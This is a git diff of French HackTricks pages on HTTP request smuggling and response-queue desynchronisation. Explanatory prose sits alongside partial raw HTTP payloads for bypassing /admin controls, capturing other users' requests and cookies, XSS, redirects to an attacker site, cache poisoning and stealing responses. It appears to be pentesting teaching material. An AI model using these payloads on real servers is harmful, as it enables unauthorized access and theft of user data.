Les attaques de demande HTTP smuggling sont élaborées en envoyant des demandes ambiguës qui exploitent les divergences dans la façon dont les serveurs frontaux et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement sous forme de **CL.TE**, **TE.CL** et **TE.TE**. Chaque type représente une combinaison unique de la priorisation de ces en-têtes par les serveurs frontaux et back-end. Les vulnérabilités découlent du traitement de la même demande par les serveurs de différentes manières, entraînant des résultats inattendus et potentiellement malveillants.
|
||||
Les attaques de demande HTTP smuggling sont élaborées en envoyant des demandes ambiguës qui exploitent les divergences dans la façon dont les serveurs frontaux et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement en tant que **CL.TE**, **TE.CL** et **TE.TE**. Chaque type représente une combinaison unique de la priorisation de ces en-têtes par les serveurs frontaux et back-end. Les vulnérabilités découlent du traitement de la même demande par les serveurs de différentes manières, entraînant des résultats inattendus et potentiellement malveillants.
|
||||
|
||||
### Exemples de Types de Vulnérabilités de Base
|
||||
|
||||
|
@ -60,7 +60,7 @@ Les attaques de demande HTTP smuggling sont élaborées en envoyant des demandes
|
|||
- **Back-End (TE) :** Traite la demande en fonction de l'en-tête `Transfer-Encoding`.
|
||||
- **Scénario d'attaque :**
|
||||
- L'attaquant envoie une demande où la valeur de l'en-tête `Content-Length` ne correspond pas à la longueur réelle du contenu.
|
||||
- Le serveur front-end transmet la demande entière au back-end, en fonction de la valeur de `Content-Length`.
|
||||
- Le serveur front-end transmet la demande entière au serveur back-end, en fonction de la valeur de `Content-Length`.
|
||||
- Le serveur back-end traite la demande par morceaux en raison de l'en-tête `Transfer-Encoding: chunked`, interprétant les données restantes comme une demande séparée et ultérieure.
|
||||
- **Exemple :**
|
||||
```
|
||||
|
@ -81,8 +81,8 @@ Foo: x
|
|||
- **Back-End (CL) :** Traite la demande en fonction de l'en-tête `Content-Length`.
|
||||
- **Scénario d'attaque :**
|
||||
- L'attaquant envoie une demande fragmentée où la taille du fragment (`7b`) et la longueur réelle du contenu (`Content-Length: 4`) ne correspondent pas.
|
||||
- Le serveur front-end, respectant `Transfer-Encoding`, transmet la demande entière au back-end.
|
||||
- Le serveur back-end, respectant `Content-Length`, traite uniquement la partie initiale de la demande (`7b` octets), laissant le reste comme partie d'une demande ultérieure non intentionnelle.
|
||||
- Le serveur front-end, respectant `Transfer-Encoding`, transmet la demande entière au serveur back-end.
|
||||
- Le serveur back-end, respectant `Content-Length`, traite uniquement la partie initiale de la demande (`7b` octets), laissant le reste comme faisant partie d'une demande ultérieure non intentionnelle.
|
||||
- **Exemple :**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
|
@ -136,12 +136,12 @@ Host: vulnerable-website.com
|
|||
Content-Length: 16
|
||||
Connection: keep-alive
|
||||
|
||||
Demande normale
|
||||
Demande Normale
|
||||
```
|
||||
|
||||
#### **Scénario CL != 0 :**
|
||||
- Fait référence aux scénarios où l'en-tête `Content-Length` est présent et a une valeur autre que zéro, indiquant que le corps de la demande contient du contenu.
|
||||
- Il est crucial pour comprendre et élaborer des attaques de smuggling, car il influence la façon dont les serveurs déterminent la fin d'une demande.
|
||||
- Il est crucial pour comprendre et élaborer des attaques de smuggling, car il influence la manière dont les serveurs déterminent la fin d'une demande.
|
||||
- **Exemple :**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
|
@ -149,12 +149,12 @@ Host: vulnerable-website.com
|
|||
Content-Length: 16
|
||||
Connection: keep-alive
|
||||
|
||||
Corps non vide
|
||||
Corps Non Vide
|
||||
```
|
||||
|
||||
#### Forcer via les en-têtes hop-by-hop
|
||||
|
||||
En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding pour permettre un abus de demande HTTP smuggling**.
|
||||
En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding pour permettre un HTTP request smuggling à exploiter**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
|
@ -207,7 +207,7 @@ Content-Length: 6
|
|||
X
|
||||
```
|
||||
- **Observation :**
|
||||
- Le serveur frontal traite la requête en fonction de `Transfer-Encoding` et transmet l'intégralité du message.
|
||||
- Le serveur frontal traite la requête en fonction de `Transfer-Encoding` et transmet l'ensemble du message.
|
||||
- Le serveur back-end, s'attendant à un message basé sur `Content-Length`, attend des données supplémentaires qui n'arrivent jamais, provoquant un retard.
|
||||
|
||||
### Autres méthodes pour trouver des vulnérabilités
|
||||
|
@ -224,18 +224,18 @@ X
|
|||
- Envoyer des requêtes avec des en-têtes `Transfer-Encoding` obfusqués ou malformés et surveiller comment les serveurs frontal et back-end réagissent différemment à de telles manipulations.
|
||||
|
||||
|
||||
### Test de vulnérabilité de la requête HTTP Smuggling
|
||||
### Test de vulnérabilité de requête HTTP Smuggling
|
||||
|
||||
Après avoir confirmé l'efficacité des techniques de synchronisation, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de falsifier vos requêtes, par exemple, faire en sorte qu'une requête vers `/` renvoie une réponse 404. Les exemples `CL.TE` et `TE.CL` discutés précédemment dans [Exemples de base](./#basic-examples) montrent comment falsifier une requête client pour obtenir une réponse 404, malgré le fait que le client cherche à accéder à une ressource différente.
|
||||
|
||||
**Considérations clés**
|
||||
|
||||
Lors du test des vulnérabilités de la requête smuggling en interférant avec d'autres requêtes, gardez à l'esprit :
|
||||
Lors du test des vulnérabilités de requête smuggling en interférant avec d'autres requêtes, gardez à l'esprit :
|
||||
|
||||
* **Connexions réseau distinctes :** Les requêtes "d'attaque" et "normales" doivent être envoyées sur des connexions réseau distinctes. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
|
||||
* **URL et paramètres cohérents :** Essayez d'utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. En les faisant correspondre, vous augmentez la probabilité que les deux requêtes soient traitées par le même serveur, une condition préalable à une attaque réussie.
|
||||
* **Synchronisation et conditions de course :** La requête "normale", destinée à détecter l'interférence de la requête "d'attaque", entre en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications chargées peuvent nécessiter plusieurs essais pour confirmer de manière concluante la vulnérabilité.
|
||||
* **Défis de l'équilibrage de charge :** Les serveurs frontal agissant comme équilibreurs de charge peuvent distribuer les requêtes sur divers systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque échouera. Cet aspect de l'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
|
||||
* **Synchronisation et conditions de course :** La requête "normale", destinée à détecter l'interférence de la requête "d'attaque", entre en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications chargées peuvent nécessiter plusieurs essais pour confirmer la vulnérabilité de manière concluante.
|
||||
* **Défis de l'équilibrage de charge :** Les serveurs frontal agissant comme équilibreurs de charge peuvent distribuer les requêtes sur différents systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque échouera. Cet aspect de l'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
|
||||
* **Impact utilisateur non intentionnel :** Si votre attaque affecte involontairement une autre requête utilisateur (pas la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests continus pourraient perturber d'autres utilisateurs, exigeant une approche prudente.
|
||||
|
||||
|
||||
|
@ -245,9 +245,9 @@ Lors du test des vulnérabilités de la requête smuggling en interférant avec
|
|||
|
||||
### Contournement de la sécurité frontale via la requête HTTP Smuggling
|
||||
|
||||
Parfois, les proxies frontal imposent des mesures de sécurité, scrutant les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant la requête HTTP Smuggling, permettant un accès non autorisé aux points de terminaison restreints. Par exemple, l'accès à `/admin` peut être interdit de l'extérieur, le proxy frontal bloquant activement de telles tentatives. Néanmoins, ce proxy peut négliger d'inspecter les requêtes intégrées dans une requête HTTP smugglée, laissant une faille pour contourner ces restrictions.
|
||||
Parfois, les proxies frontal imposent des mesures de sécurité, scrutant les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant la requête HTTP Smuggling, permettant un accès non autorisé aux points de terminaison restreints. Par exemple, l'accès à `/admin` pourrait être interdit de l'extérieur, le proxy frontal bloquant activement de telles tentatives. Néanmoins, ce proxy peut négliger d'inspecter les requêtes intégrées dans une requête HTTP smugglée, laissant une faille pour contourner ces restrictions.
|
||||
|
||||
Considérez les exemples suivants illustrant comment la requête HTTP Smuggling peut être utilisée pour contourner les contrôles de sécurité frontal, ciblant spécifiquement le chemin `/admin` qui est généralement protégé par le proxy frontal :
|
||||
Considérez les exemples suivants illustrant comment la requête HTTP Smuggling peut être utilisée pour contourner les contrôles de sécurité frontale, ciblant spécifiquement le chemin `/admin` qui est généralement protégé par le proxy frontal :
|
||||
|
||||
**Exemple CL.TE**
|
||||
```
|
||||
|
@ -266,7 +266,7 @@ Content-Length: 10
|
|||
|
||||
x=
|
||||
```
|
||||
Dans l'attaque CL.TE, l'en-tête `Content-Length` est utilisé pour la requête initiale, tandis que la requête intégrée ultérieure utilise l'en-tête `Transfer-Encoding: chunked`. Le proxy frontal traite la requête `POST` initiale mais ne parvient pas à inspecter la requête `GET /admin` intégrée, permettant un accès non autorisé au chemin `/admin`.
|
||||
Dans l'attaque CL.TE, l'en-tête `Content-Length` est exploité pour la requête initiale, tandis que la requête intégrée ultérieure utilise l'en-tête `Transfer-Encoding: chunked`. Le proxy frontal traite la requête `POST` initiale mais ne parvient pas à inspecter la requête `GET /admin` intégrée, permettant un accès non autorisé au chemin `/admin`.
|
||||
|
||||
**Exemple TE.CL**
|
||||
```
|
||||
|
@ -284,11 +284,11 @@ a=x
|
|||
0
|
||||
|
||||
```
|
||||
Inversement, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête imbriquée ultérieure est traitée en fonction de l'en-tête `Content-Length`. Similaire à l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin `/admin` restreint.
|
||||
Inversement, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête imbriquée ultérieure est traitée en fonction de l'en-tête `Content-Length`. Tout comme l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin `/admin` restreint.
|
||||
|
||||
### Révéler la réécriture de requête frontale <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Révéler la réécriture de la requête frontale <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Les applications utilisent souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique implique l'ajout d'en-têtes, tels que `X-Forwarded-For: <IP du client>`, pour transmettre l'IP du client au back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de **contourner les protections** ou de **découvrir des informations ou des points de terminaison dissimulés**.
|
||||
Les applications utilisent souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique implique l'ajout d'en-têtes, tels que `X-Forwarded-For: <IP du client>`, pour transmettre l'IP du client au serveur back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de **contourner les protections** ou de **découvrir des informations ou des points de terminaison dissimulés**.
|
||||
|
||||
Pour enquêter sur la manière dont un proxy modifie une requête, localisez un paramètre POST que le back-end renvoie dans la réponse. Ensuite, créez une requête, en utilisant ce paramètre en dernier, similaire à ce qui suit:
|
||||
```
|
||||
|
@ -307,9 +307,9 @@ Content-Length: 100
|
|||
|
||||
search=
|
||||
```
|
||||
Dans cette structure, les composants de requête suivants sont ajoutés après `search=`, qui est le paramètre reflété dans la réponse. Cette réflexion exposera les en-têtes de la requête suivante.
|
||||
Dans cette structure, les composants de la requête suivante sont ajoutés après `search=`, qui est le paramètre reflété dans la réponse. Cette réflexion exposera les en-têtes de la requête suivante.
|
||||
|
||||
Il est important d'aligner l'en-tête `Content-Length` de la requête imbriquée avec la longueur réelle du contenu. Il est conseillé de commencer par une petite valeur et d'augmenter progressivement, car une valeur trop basse tronquera les données reflétées, tandis qu'une valeur trop élevée peut provoquer une erreur de requête.
|
||||
Il est important d'aligner l'en-tête `Content-Length` de la requête imbriquée avec la longueur réelle du contenu. Il est conseillé de commencer par une petite valeur et d'augmenter progressivement, car une valeur trop faible tronquera les données reflétées, tandis qu'une valeur trop élevée peut provoquer une erreur de requête.
|
||||
|
||||
Cette technique est également applicable dans le contexte d'une vulnérabilité TE.CL, mais la requête doit se terminer par `search=\r\n0`. Peu importe les caractères de saut de ligne, les valeurs seront ajoutées au paramètre de recherche.
|
||||
|
||||
|
@ -317,7 +317,7 @@ Cette méthode sert principalement à comprendre les modifications de requête e
|
|||
|
||||
### Capture des requêtes d'autres utilisateurs <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Il est possible de capturer les requêtes de l'utilisateur suivant en ajoutant une requête spécifique en tant que valeur d'un paramètre lors d'une opération POST. Voici comment cela peut être accompli :
|
||||
Il est possible de capturer les requêtes de l'utilisateur suivant en ajoutant une requête spécifique en tant que valeur d'un paramètre lors d'une opération POST. Voici comment cela peut être réalisé :
|
||||
|
||||
En ajoutant la requête suivante en tant que valeur d'un paramètre, vous pouvez enregistrer la requête du client suivant :
|
||||
```
|
||||
|
@ -343,7 +343,7 @@ Dans ce scénario, le **paramètre de commentaire** est destiné à stocker le c
|
|||
|
||||
Cependant, cette technique présente des limitations. En général, elle ne capture que les données jusqu'au délimiteur de paramètre utilisé dans la requête trafiquée. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la chaîne de requête.
|
||||
|
||||
De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans de tels cas, la requête devrait se terminer par `search=\r\n0`. Peu importe les caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.
|
||||
De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans de tels cas, la requête devrait se terminer par `search=\r\n0`. Peu importe les caractères de saut de ligne, les valeurs seront ajoutées au paramètre de recherche.
|
||||
|
||||
### Utilisation du trafic de requêtes HTTP pour exploiter les XSS réfléchis
|
||||
|
||||
|
@ -395,7 +395,7 @@ Résultats :
|
|||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
Bien que semblant inoffensif, ce comportement peut être manipulé en utilisant le trafic HTTP pour rediriger les utilisateurs vers un site externe. Par exemple:
|
||||
Bien que cela semble inoffensif, ce comportement peut être manipulé en utilisant le trafic d'HTTP pour rediriger les utilisateurs vers un site externe. Par exemple:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -425,7 +425,7 @@ Location: https://attacker-website.com/home/
|
|||
|
||||
### Exploitation de l'empoisonnement de cache web via le détournement de requête HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
L'empoisonnement de cache web peut être exécuté si un composant de l'**infrastructure frontale met en cache le contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **empoisonner le cache**.
|
||||
L'empoisonnement de cache web peut être exécuté si une composante de l'**infrastructure frontale met en cache le contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **empoisonner le cache**.
|
||||
|
||||
Précédemment, nous avons observé comment les réponses du serveur pouvaient être modifiées pour renvoyer une erreur 404 (voir [Exemples de base](./#basic-examples)). De la même manière, il est possible de tromper le serveur pour qu'il renvoie le contenu de `/index.html` en réponse à une demande de `/static/include.js`. Par conséquent, le contenu de `/static/include.js` est remplacé dans le cache par celui de `/index.html`, rendant `/static/include.js` inaccessible aux utilisateurs, ce qui peut potentiellement entraîner un Déni de Service (DoS).
|
||||
|
||||
|
@ -453,7 +453,7 @@ Notez la requête intégrée ciblant `/post/next?postId=3`. Cette requête sera
|
|||
|
||||
Après un **empoisonnement de socket** réussi, une requête **GET** pour `/static/include.js` doit être initiée. Cette requête sera contaminée par la précédente requête de **redirection sur site vers une redirection ouverte** et récupérera le contenu du script contrôlé par l'attaquant.
|
||||
|
||||
Par la suite, toute requête pour `/static/include.js` servira le contenu mis en cache du script de l'attaquant, lançant ainsi efficacement une vaste attaque XSS.
|
||||
Par la suite, toute requête pour `/static/include.js` servira le contenu mis en cache du script de l'attaquant, lançant ainsi efficacement une large attaque XSS.
|
||||
|
||||
|
||||
### Utilisation du détournement de requête HTTP pour effectuer une tromperie de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
@ -474,11 +474,11 @@ L'attaquant crée une requête dissimulée qui récupère un contenu sensible sp
|
|||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Si cette requête de contrebande empoisonne une entrée de cache destinée à un contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
|
||||
Si cette requête dissimulée empoisonne une entrée de cache destinée à un contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
|
||||
|
||||
### Armes HTTP Request Smuggling avec la désynchronisation des réponses HTTP
|
||||
|
||||
Avez-vous trouvé une vulnérabilité de Smuggling de requêtes HTTP et vous ne savez pas comment l'exploiter ? Essayez cette autre méthode d'exploitation :
|
||||
Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez cette autre méthode d'exploitation :
|
||||
|
||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
|
@ -598,7 +598,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -25,7 +25,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# HTTP Response Smuggling / Desync
|
||||
# Smuggling / Désynchronisation des Réponses HTTP
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,22 +9,22 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
**La technique de ce post a été tirée de la vidéo : [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s)**
|
||||
|
||||
## Désynchronisation de la file d'attente des requêtes HTTP
|
||||
## Désynchronisation de la File d'Attente des Requêtes HTTP
|
||||
|
||||
Tout d'abord, cette technique **exploite une vulnérabilité de Smuggling de Requêtes HTTP**, donc vous devez savoir ce que c'est :
|
||||
|
||||
La **principale** **différence** entre cette technique et un Smuggling de Requêtes HTTP classique est que **au lieu d'attaquer la requête de la victime en lui ajoutant un préfixe**, nous allons **dévoiler ou modifier la réponse que la victime reçoit**. Cela se fait en envoyant non pas 1 requête et demie pour abuser du Smuggling de Requêtes HTTP, mais **en envoyant 2 requêtes complètes pour désynchroniser la file des réponses des proxys**.
|
||||
La **principale** **différence** entre cette technique et un Smuggling de Requêtes HTTP classique est que **au lieu d'attaquer la requête de la victime en lui ajoutant un préfixe**, nous allons **dévoiler ou modifier la réponse que la victime reçoit**. Cela se fait en envoyant non pas 1 requête et demie pour abuser du Smuggling de Requêtes HTTP, mais **en envoyant 2 requêtes complètes pour désynchroniser la file des réponses des proxies**.
|
||||
|
||||
Cela permet de **désynchroniser la file des réponses** afin que la **réponse** de la **requête légitime de la victime soit envoyée à l'attaquant**, ou en **injectant du contenu contrôlé par l'attaquant dans la réponse à la victime**.
|
||||
Cela est dû au fait que nous allons être en mesure de **désynchroniser la file des réponses** afin que la **réponse** de la **requête légitime de la victime soit envoyée à l'attaquant**, ou en **injectant du contenu contrôlé par l'attaquant dans la réponse à la victime**.
|
||||
|
||||
### Désynchronisation de la file des pipelines HTTP
|
||||
### Désynchronisation de la File d'Attente des Pipelines HTTP
|
||||
|
||||
HTTP/1.1 permet de demander **différentes ressources sans attendre les précédentes**. Par conséquent, s'il y a un **proxy** au **milieu**, c'est au proxy de **maintenir une correspondance synchronisée des requêtes envoyées au backend et des réponses qui en proviennent**.
|
||||
|
||||
|
@ -32,11 +32,11 @@ Cependant, il y a un problème de désynchronisation de la file des réponses. S
|
|||
|
||||
![](<../.gitbook/assets/image (635) (1) (1) (1).png>)
|
||||
|
||||
Il est donc nécessaire que la **requête smugglée prenne plus de temps à être traitée** dans le serveur backend. Par conséquent, au moment où la requête smugglée est traitée, la communication avec l'attaquant sera terminée.
|
||||
Par conséquent, il est nécessaire que la **requête smugglée prenne plus de temps à être traitée** à l'intérieur du serveur backend. Ainsi, au moment où la requête smugglée est traitée, la communication avec l'attaquant sera terminée.
|
||||
|
||||
Dans cette situation spécifique, si une **victime a envoyé une requête** et que la **requête smugglée est répondue avant** la requête légitime, la **réponse smugglée sera envoyée à la victime**. Ainsi, l'attaquant va **contrôler la requête "effectuée" par la victime**.
|
||||
Dans cette situation spécifique, si une **victime a envoyé une requête** et que la **requête smugglée est répondue avant** la requête légitime, la **réponse smugglée sera envoyée à la victime**. Par conséquent, l'attaquant va **contrôler la requête "effectuée" par la victime**.
|
||||
|
||||
De plus, si l'**attaquant effectue ensuite une requête** et que la **réponse légitime** à la **requête de la victime est répondue avant** la requête de l'attaquant, la **réponse à la victime sera envoyée à l'attaquant**, **volant** la réponse à la victime (qui peut contenir par exemple l'en-tête **Set-Cookie**).
|
||||
De plus, si l'**attaquant effectue ensuite une requête** et que la **réponse légitime** à la **requête de la victime est répondue avant** la requête de l'attaquant. La **réponse à la victime sera envoyée à l'attaquant**, **volant** la réponse à la victime (qui peut contenir par exemple l'en-tête **Set-Cookie**).
|
||||
|
||||
![](<../.gitbook/assets/image (658) (1).png>)
|
||||
|
||||
|
@ -44,23 +44,23 @@ De plus, si l'**attaquant effectue ensuite une requête** et que la **réponse l
|
|||
|
||||
### Multiples Injections Emboîtées
|
||||
|
||||
Une autre **différence intéressante** avec le Smuggling de Requêtes HTTP classique est que, dans une attaque de smuggling classique, le **but** est de **modifier le début de la requête de la victime** pour qu'elle effectue une action inattendue. Dans une attaque de **Smuggling de Réponses HTTP**, comme vous **envoyez des requêtes complètes**, vous pouvez **injecter dans une charge utile des dizaines de réponses** qui vont **désynchroniser des dizaines d'utilisateurs** qui vont **recevoir** les **réponses injectées**.
|
||||
Une autre **différence intéressante** avec le **Smuggling de Requêtes HTTP** classique est que, dans une attaque de Smuggling classique, le **but** est de **modifier le début de la requête de la victime** pour qu'elle effectue une action inattendue. Dans une **attaque de Smuggling de Réponses HTTP**, comme vous **envoyez des requêtes complètes**, vous pouvez **injecter dans une charge utile des dizaines de réponses** qui vont **désynchroniser des dizaines d'utilisateurs** qui vont **recevoir** les **réponses** **injectées**.
|
||||
|
||||
En plus de pouvoir **distribuer plus facilement des dizaines d'exploits** parmi les utilisateurs légitimes, cela pourrait également être utilisé pour provoquer un **Déni de Service (DoS)** sur le serveur.
|
||||
|
||||
### Organisation de l'Exploit
|
||||
### Organisation de l'Exploitation
|
||||
|
||||
Comme expliqué précédemment, pour exploiter cette technique, il est nécessaire que le **premier message smugglé** dans le serveur **prenne beaucoup de temps à être traité**.
|
||||
Comme expliqué précédemment, pour exploiter cette technique, il est nécessaire que le **premier message smugglé** dans le serveur **nécessite beaucoup de temps pour être traité**.
|
||||
|
||||
Cette **requête chronophage est suffisante** si vous voulez simplement **essayer de voler la réponse de la victime**. Mais si vous voulez effectuer un exploit plus complexe, voici une structure commune pour l'exploit.
|
||||
Cette **requête chronophage est suffisante** si vous voulez simplement **essayer de voler la réponse des victimes**. Mais si vous voulez effectuer un exploit plus complexe, voici une structure commune pour l'exploit.
|
||||
|
||||
Tout d'abord, la **requête initiale exploitant le Smuggling de Requêtes HTTP**, puis la **requête chronophage** et ensuite **1 ou plusieurs requêtes de charge utile** dont les réponses seront envoyées aux victimes.
|
||||
|
||||
## Abus de la Désynchronisation de la File des Réponses HTTP
|
||||
## Abus de la Désynchronisation de la File d'Attente des Réponses HTTP
|
||||
|
||||
### Capture des requêtes d'autres utilisateurs <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
